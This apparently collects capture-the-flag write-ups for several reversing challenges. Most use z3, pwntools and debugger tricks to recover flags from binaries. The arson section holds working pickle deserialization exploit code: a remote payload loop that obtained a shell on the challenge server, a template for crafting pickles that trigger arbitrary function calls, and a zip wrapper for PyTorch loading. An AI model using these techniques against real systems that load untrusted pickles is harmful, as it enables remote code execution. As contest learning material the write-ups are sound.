### sequence 

extract check codes from IDA

change if to equals
```c
#include <stdio.h>

int main() {
  int v2[6];
  v2[0] = 12;
  for (int i = 1; i <= 5; ++i ) {
    v2[i] = (3 * v2[i - 1] + 7) % 16;
  }

  for(int i = 0; i < 6; i++) {
    //printf("%c", ((char*) v2)[i]);
    printf("%d ", v2[i]);
  }
  return 0;
}
```

put the ints back in and grab the flag from remote

`hope{definitely_solvable_with_angr}`

### check 

dynamic debug stop before strcmp

(no solve script lmao literally just breakpoint and check IDA locals)

`hope{oops_all_flag_checkers_64961defe21b15e8}`

### zzz 

tried using ponce, gave up manually negate and injecting and used z3 instead

with a bit of regex to change the conditions we can get this easily

(do remember to add the printable char constraint though or else it wouldnt give the correct flag)
```py
from z3 import *

v = [BitVec('char ' + str(i), 8) for i in range(59)]

s = Solver()

s.add((v[0] - 33) <= 0x5D)
s.add((v[5] - 33) <= 0x5D)
s.add((v[6] - 33) <= 0x5D)
s.add((v[7] - 33) <= 0x5D)
s.add((v[8] - 33) <= 0x5D)
s.add((v[9] - 33) <= 0x5D)
s.add((v[10] - 33) <= 0x5D)
s.add((v[11] - 33) <= 0x5D)
s.add((v[12] - 33) <= 0x5D)
s.add((v[13] - 33) <= 0x5D)
s.add((v[14] - 33) <= 0x5D)
s.add((v[15] - 33) <= 0x5D)
s.add((v[16] - 33) <= 0x5D)
s.add((v[17] - 33) <= 0x5D)
s.add((v[18] - 33) <= 0x5D)
s.add((v[19] - 33) <= 0x5D)
s.add((v[20] - 33) <= 0x5D)
s.add((v[21] - 33) <= 0x5D)
s.add((v[22] - 33) <= 0x5D)
s.add((v[23] - 33) <= 0x5D)
s.add((v[24] - 33) <= 0x5D)
s.add((v[25] - 33) <= 0x5D)
s.add((v[26] - 33) <= 0x5D)
s.add((v[27] - 33) <= 0x5D)
s.add((v[28] - 33) <= 0x5D)
s.add((v[29] - 33) <= 0x5D)
s.add((v[30] - 33) <= 0x5D)
s.add((v[31] - 33) <= 0x5D)
s.add((v[32] - 33) <= 0x5D)
s.add((v[33] - 33) <= 0x5D)
s.add((v[34] - 33) <= 0x5D)
s.add((v[35] - 33) <= 0x5D)
s.add((v[36] - 33) <= 0x5D)
s.add((v[37] - 33) <= 0x5D)
s.add((v[38] - 33) <= 0x5D)
s.add((v[39] - 33) <= 0x5D)
s.add((v[40] - 33) <= 0x5D)
s.add((v[41] - 33) <= 0x5D)
s.add((v[42] - 33) <= 0x5D)
s.add((v[43] - 33) <= 0x5D)
s.add((v[44] - 33) <= 0x5D)
s.add((v[45] - 33) <= 0x5D)
s.add((v[46] - 33) <= 0x5D)
s.add((v[47] - 33) <= 0x5D)
s.add((v[48] - 33) <= 0x5D)
s.add((v[49] - 33) <= 0x5D)
s.add((v[50] - 33) <= 0x5D)
s.add((v[51] - 33) <= 0x5D)
s.add((v[52] - 33) <= 0x5D)
s.add((v[53] - 33) <= 0x5D)
s.add((v[54] - 33) <= 0x5D)
s.add((v[55] - 33) <= 0x5D)
s.add((v[56] - 33) <= 0x5D)
s.add((v[57] - 33) <= 0x5D)
s.add(v[6] == 112)
s.add(v[5] == 111)
s.add((v[58] - 33) <= 0x5D)
s.add(v[0] == 104)
s.add(v[7] == 101)
s.add((v[48] ^ v[23]) == 3)
s.add((v[53] ^ v[56]) == 7)
s.add(v[9] <= v[32])
s.add((v[47] ^ v[11]) == 13)
s.add(v[21] + v[17] == 212)
s.add(v[36] - v[44] == 66)
s.add(v[22] != 104)
s.add((v[29] ^ v[10]) == 3)
s.add((v[50] ^ v[33]) == 91)
s.add(v[24] != v[43])
s.add((v[25] ^ v[28]) == 11)
s.add(v[40] == 103)
s.add(v[55] != 111)
s.add(v[41] + v[13] == 199)
s.add(v[39] - v[19] == 15)
s.add((v[52] ^ v[8]) == 79)
s.add(v[14] >= v[27])
s.add(v[42] >= v[57])
s.add(v[26] <= v[58])
s.add(v[54] + v[34] == 146)
s.add(v[30] - v[20] == 19)
s.add(v[15] >= v[46])
s.add(v[18] != v[31])
s.add(v[12] == 103)
s.add(v[45] + v[16] == 205)
s.add(v[35] - v[51] == 21)
s.add(v[38] >= v[49])
s.add(v[37] - v[16] == 19)
s.add((v[46] ^ v[14]) == 68)
s.add(v[47] + v[31] == 195)
s.add(v[26] != v[58])
s.add((v[52] ^ v[29]) == 91)
s.add(v[27] + v[8] == 218)
s.add(v[41] != 112)
s.add(v[48] + v[56] == 149)
s.add(v[15] == 95)
s.add(v[18] == 116)
s.add(v[23] != 103)
s.add(v[20] + v[36] == 222)
s.add(v[42] == 101)
s.add(v[9] != v[38])
s.add(v[13] != v[54])
s.add(v[22] + v[28] == 218)
s.add(v[50] >= v[57])
s.add(v[10] - v[19] == 13)
s.add(v[53] <= 0x6F)
s.add(v[39] != v[55])
s.add((v[49] ^ v[45]) == 86)
s.add(v[11] >= v[44])
s.add(v[21] + v[51] == 202)
s.add(v[37] + v[17] == 233)
s.add(v[9] <= v[13])
s.add(v[25] >= v[46])
s.add(v[24] != v[25])
s.add(v[33] - v[32] == 4)
s.add(v[30] != v[34])
s.add(v[35] >= v[43])
s.add(v[8] != v[26])
s.add(v[23] <= v[36])
s.add(v[27] + v[47] == 195)
s.add(v[34] == 95)
s.add(v[43] == 49)
s.add(v[57] == 54)
s.add(v[32] != v[44])
s.add(v[37] != v[49])
s.add(v[48] <= v[51])
s.add((v[52] ^ v[21]) == 81)
s.add(v[54] <= v[55])
s.add(v[30] <= v[35])
s.add(v[19] >= v[41])
s.add(v[45] + v[20] == 202)
s.add(v[17] != v[58])
s.add(v[16] <= v[33])
s.add((v[56] ^ v[29]) == 92)
s.add(v[11] <= v[14])
s.add((v[53] ^ v[28]) == 90)
s.add(v[39] + v[31] == 205)
s.add(v[38] == 105)
s.add((v[24] ^ v[10]) == 21)
s.add(v[50] == 54)
s.add(v[22] != v[33])
s.add(v[22] + v[54] == 159)
s.add(v[27] != 103)
s.add(v[49] != 54)
s.add(v[41] + v[30] == 214)
s.add(v[36] != v[52])
s.add(v[11] <= v[35])
s.add((v[32] ^ v[23]) == 8)
s.add(v[20] >= v[55])
s.add(v[14] != v[17])
s.add(v[8] - v[19] == 28)
s.add(v[13] - v[16] == 1)
s.add(v[21] <= v[29])
s.add(v[37] - v[26] == 22)
s.add(v[24] - v[46] == 73)
s.add(v[48] != 105)
s.add(v[9] != 101)
s.add((v[58] ^ v[28]) == 19)
s.add(v[25] != v[53])
s.add(v[44] > 0x30)
s.add(v[31] == 95)
s.add(v[56] == 51)
s.add(v[51] + v[39] == 211)
s.add(v[45] == 102)
s.add(v[47] >= v[57])
s.add(v[10] == 108)
s.add(v[21] - v[44] == 45)
s.add(v[11] + v[17] == 216)
s.add(v[16] == 103)
s.add(v[32] > 0x66)
s.add(v[14] + v[54] == 167)
s.add(v[23] >= v[49])
s.add(v[30] == 119)
s.add((v[48] ^ v[28]) == 12)
s.add(v[36] != v[55])
s.add(v[13] != v[53])
s.add(v[46] == 48)
s.add(v[29] == 111)
s.add(v[27] != v[51])
s.add(v[26] == 100)
s.add(v[35] == 122)
s.add(v[58] - v[8] == 2)
s.add(v[20] == 100)
s.add(v[41] == 95)
s.add(v[24] == 121)
s.add(v[19] >= v[52])
s.add((v[25] ^ v[37]) == 31)
s.add(v[11] == 105)
s.add(v[33] == 109)
s.add(v[22] - v[9] == 6)
s.add(v[39] != 51)
s.add(v[47] == 100)
s.add(v[27] == 95)
s.add(v[37] != 100)
s.add(v[22] == 108)
s.add(v[32] > 0x68)
s.add(v[53] > 0x32)
s.add(v[17] == 111)
s.add(v[8] >= v[54])
s.add(v[28] + v[36] == 232)
s.add(v[49] != 116)
s.add(v[9] == 102)
s.add(v[57] <= 0x79)
s.add(v[52] <= 0x7A)
s.add(v[39] != 102)
s.add((v[58] ^ v[44]) == 69)
s.add(v[41] == 95)
s.add(v[25] > 0x30)
s.add(v[23] == 97)
s.add(v[48] == 98)
s.add(v[55] + v[14] == 170)
s.add(v[19] <= 0x6F)
s.add(v[21] == 101)
s.add(v[51] == 101)
s.add(v[51] + v[13] == 205)
s.add(v[22] != 101)
s.add(v[55] == 54)
s.add(v[39] == 110)
s.add(v[8] - v[14] == 7)
s.add(v[25] == 101)
s.add((v[44] ^ v[37]) == 66)
s.add(v[54] == 51)
s.add(v[58] > 0x6E)
s.add(v[52] == 52)
s.add(v[13] == 104)
s.add(v[14] == 116)
s.add(v[49] == 48)
s.add(v[36] == 122)
s.add(v[57] > 0x35)
s.add(v[8] >= v[22])
s.add((v[28] - 101) <= 0x14)
s.add(v[19] == 95)
s.add(v[58] == 125)
s.add(v[32] >= v[44])
s.add(v[37] > 0x61)
s.add(v[58] != 122)
s.add(v[53] == 52)
s.add(v[44] == 56)
s.add(v[52] == 52)
s.add(v[32] == 105)
s.add(v[22] == 108)
s.add(v[53] == 52)
s.add(v[8] == 123)

for i in v:
    s.add(i >= 0x20)
    s.add(i <= 0x7D)

s.check()
model = s.model()

for i in v:
    if str(model[i]) is not 'None':
        print(chr(int(str(model[i]))), end='')
#print([chr(int(str(model[i]))) for i in v if model[i]])
```

`hope{flight_got_delayed_now_im_zzzing_e18f0db06e443636}`


### better-llvm 

chall looked like a vm of some sorts with the switch table, which looks kinda yikes to reverse

none of the codes seem to be affected by our input though so we can probably get the state when all of the stuff finishes computing

considering this is basically a python program i figured might as well try getting context by editing the python string at the end to run our own codes
```py
with open('betterllvm', 'rb') as orig:
    ostr = b"if dicegang():\n print('ok fine you got the flag')\nelse:\n print('nope >:)')"
    nstr = b'import pdb; pdb.runcall(dicegang)'  #b'breakpoint()'
    data = orig.read()
    idx = data.find(ostr)
    with open('betterllvm-edit', 'wb') as new:
        towrite = data[:idx] + nstr + b"\0"*(len(ostr) - len(nstr)) + data[idx + len(ostr):]
        assert len(towrite) == len(data)
        new.write(towrite)
```

breakpoint() worked but i couldnt get enough info to decompile to generated dicegang() function code (dis breaks, unmarshallable, co_code doesnt work with any decompilers)

so i tried doing dynamic analysis with pdb stepping but broke until i switched out breakpoint() with `pdb.runcall(dicegang)`

then i realized the flagchecker has patterns which looks very doable with instruction counting

then its basically just the gdb method ive been using so many times

flag get pog `hope{CPYTHON_ISjvmV2}`
```py
from pwn import *
import string

context.log_level = 'ERROR'

flag = 'hope{'

while len(flag) < 21:
    for c in string.printable:
        if c in '{\t ~}|' or c is flag[-1]:  #somehow it also clears if you use the previous char or some random chars
            continue
        p = process('betterllvm-edit')
        p.recvuntil(b'>:)')
        p.sendline(flag + c * (21 - len(flag)))
        p.recvuntil(b'Pdb')
        p.sendline(b's') #2 and 3 only runs once
        p.recvuntil(b'Pdb')

        count = 0
        try:
            while True:
                for i in range(4):  #4 5 4 6 
                    p.sendline('s')
                    p.recvuntil('Pdb')
                count += 1
        except EOFError:
            p.close()

        print(count, c, flag)
        
        if count > len(flag):
            flag += c
            break
```

### arson 

i actually solved this before betterllvm but im putting it here since i tried solving reckless arson after betterllvm and they are similar stuff

used angstrom solve pickle and changed empty to torch

everything worked after i changed index of `os.wrap_close` to match remote with a brute force lmfao idk why that worked
```py
from pwn import *

for i in [133]: #range(100, 150):  #get around 134 and see if any looks like it got a shell
    s = remote('mc.ax', 31064)
    s.recvuntil('Enter')
    payload = base64.b64encode(pkl(i))
    print(payload)
    s.sendline(payload) #for some reason sh doesnt like interactive mode so gotta copy the payload and manually nc
    # print(i, s.recvall(timeout=1))
    # s.close()
    s.interactive()
```

i basically just stared at this until it looks like it got a shell

and it turns out to be 133 instead of 134 like my local

(turns out thats an unintended solution? reckless arson did curb my payload by forcing us to use `_load` instead of `_legacy_load`)

`hope{pr1ckly_pickl3s}`

(see angstrom kevin higgs for more info)

didnt solve reckless arson, but [@Robert](https://maplebacon.org/authors/Nneonneo/) gave me a really nice pickle crafting template which is way easier to understand than angstrom's
```py

from pickle import *
import struct
import pickletools


def flatten(x, res=None):
    if res is None:
        res = bytearray()
    if isinstance(x, bytes):
        res += x
    else:
        for r in x:
            flatten(r, res)
    return res

def put(x):
    return [BINPUT, struct.pack('<B', x)]

def get(x):
    return [BINGET, struct.pack('<B', x)]

def getglobal(fqn):
    module, name = fqn.rsplit(".", 1)
    return [GLOBAL, module.encode('utf8'), b'\n', name.encode('utf8'), b'\n']

def pstr(x):
    x = x.encode()
    return [SHORT_BINUNICODE, len(x).to_bytes(1, byteorder='little'), x]

def pdict(*x):
    return [MARK, x, DICT]

def ptuple(*x):
    return [MARK, x, TUPLE]


def pkl():

    p = [PROTO, b'\x03',
    pstr('collections'), MEMOIZE,
    pstr('OrderedDict'), MEMOIZE,
    STACK_GLOBAL,  #fetch collections.OrderedDict class
    ptuple(pdict(pstr('test'), pstr('test'))),
    REDUCE,    #call constructor with OrderedDict({'test': 'test'}) and push on stack
    ptuple(NONE, pdict(pstr('__setstate__'), pstr('test'))),
    BUILD,     #call setattr(odict, '__setstate__', 'test')   (__dict__.update if operating directly on pdict without ptuple)
    ptuple(NONE, pdict(pstr('__setstate__'), pstr('test'))),  #dummy push to stack
    BUILD,     #since BUILD calls __setstate__ if it exists, this runs 'test'() that we built with the previous BUILD (which fails in this case but allows arbitrary function calls)
    STOP
    ]

    p = flatten(p)

    s = len(p) - 2
    s = s.to_bytes(8, byteorder='little')
    p = p[:2] + FRAME + s + p[2:]  #frame size

    #p = bytearray(dumps(craft(collections.OrderedDict, (attr('builtins'), ))))

    print(p)
    print(pickletools.dis(p))
    return p
```

with this i can build basically directly matching `pickletools.dis`

reference https://github.com/python/cpython/blob/main/Lib/pickletools.py for how the stack operates

oh and to get pytorch to use non legacy load just wrap it in a zip stream
```py
def zipbytes(inp):
    with io.BytesIO() as b:
        with zipfile.ZipFile(b, 'w', zipfile.ZIP_DEFLATED) as w:
            w.writestr('data/data.pkl', inp)
            w.writestr('data/version', '1')
        b.seek(0)
        out = b.read()
    return out
```
